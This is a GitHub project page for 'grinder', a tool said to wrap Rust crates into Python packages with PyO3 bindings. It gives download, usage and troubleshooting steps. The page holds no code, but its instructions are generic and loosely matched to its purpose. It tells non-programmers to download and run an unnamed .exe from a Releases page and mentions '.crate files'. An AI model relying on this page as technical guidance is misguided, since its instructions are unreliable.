Skip to content

index.md

Latest commit

 

History

History
88 lines (55 loc) · 3.69 KB

index.md

File metadata and controls

88 lines (55 loc) · 3.69 KB
Raw
layout default
title 🐍 grinder - Simple Tool for Python and Rust
description 🛠️ Generate PyO3 bindings for Rust crates effortlessly, with automatic type hints and wheels—no manual work required.

🐍 grinder - Simple Tool for Python and Rust

🚀 Getting Started

Welcome! This guide will help you download and run the grinder, a tool designed to wrap Rust crates into Python. If you're not a programmer, don’t worry. We will walk you through the process step by step.

📥 Download the Application

Download Grinder

You can easily download the latest version of grinder from our Releases page. Follow the link below:

Visit this page to download

💻 System Requirements

Before downloading grinder, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux.
  • Python Version: Python 3.6 or higher.
  • Rust Version: Rust stable version installed.

📦 Download & Install

  1. Click on the link above to visit the Releases page.
  2. Look for the latest version in the list.
  3. Choose the file suitable for your operating system. For example, if you are using Windows, download the .exe file.
  4. If you are on macOS or Linux, select the appropriate package.
  5. Once downloaded, run the file to install grinder on your system.

🛠️ How to Use grinder

Using grinder is simple:

  1. Open your command line interface. This is Terminal on macOS and Linux, and Command Prompt or PowerShell on Windows.

  2. Navigate to the folder where your .crate files are stored. Use the cd command followed by the folder path.

  3. Run the tool by typing:

    grinder <your_crate_name>

    Replace <your_crate_name> with the name of the Rust crate you want to use.

  4. Follow the prompts to wrap your Rust crate into a Python package.

📄 Features

Grinder provides various features to make your experience better:

  • Cross-Platform Support: Works seamlessly on Windows, macOS, and Linux.
  • Easy to Use: User-friendly interface with simple commands.
  • Automation: Automate the packaging process for Rust crates.
  • Integration: Easily integrates with Python applications using FFI.
  • Documentation: Comprehensive documentation available to help guide you through each feature.

📚 Documentation

For detailed instructions and additional features, visit our Documentation. Here, you'll find everything you need to understand how grinder works and how to troubleshoot common issues.

🔧 Troubleshooting

If you encounter any problems while using grinder, here are some common solutions:

  • Issue: Python is not recognized as a command.

    • Solution: Make sure Python is correctly installed and added to your system's PATH.

  • Issue: Unable to find the Rust crate.

    • Solution: Ensure that you have the correct crate name and that it exists in the specified location.

If you need further assistance, check out our issues page for help from the community.

🤝 Contributing

We welcome contributions! If you want to help improve grinder, check out our Contributing Guide. Everyone can make a difference.

📬 Support and Feedback

For support or feedback, please open an issue on our GitHub repository. We appreciate your input and aim to enhance the user experience.

Thank you for choosing grinder! We hope this tool makes your work with Python and Rust much easier.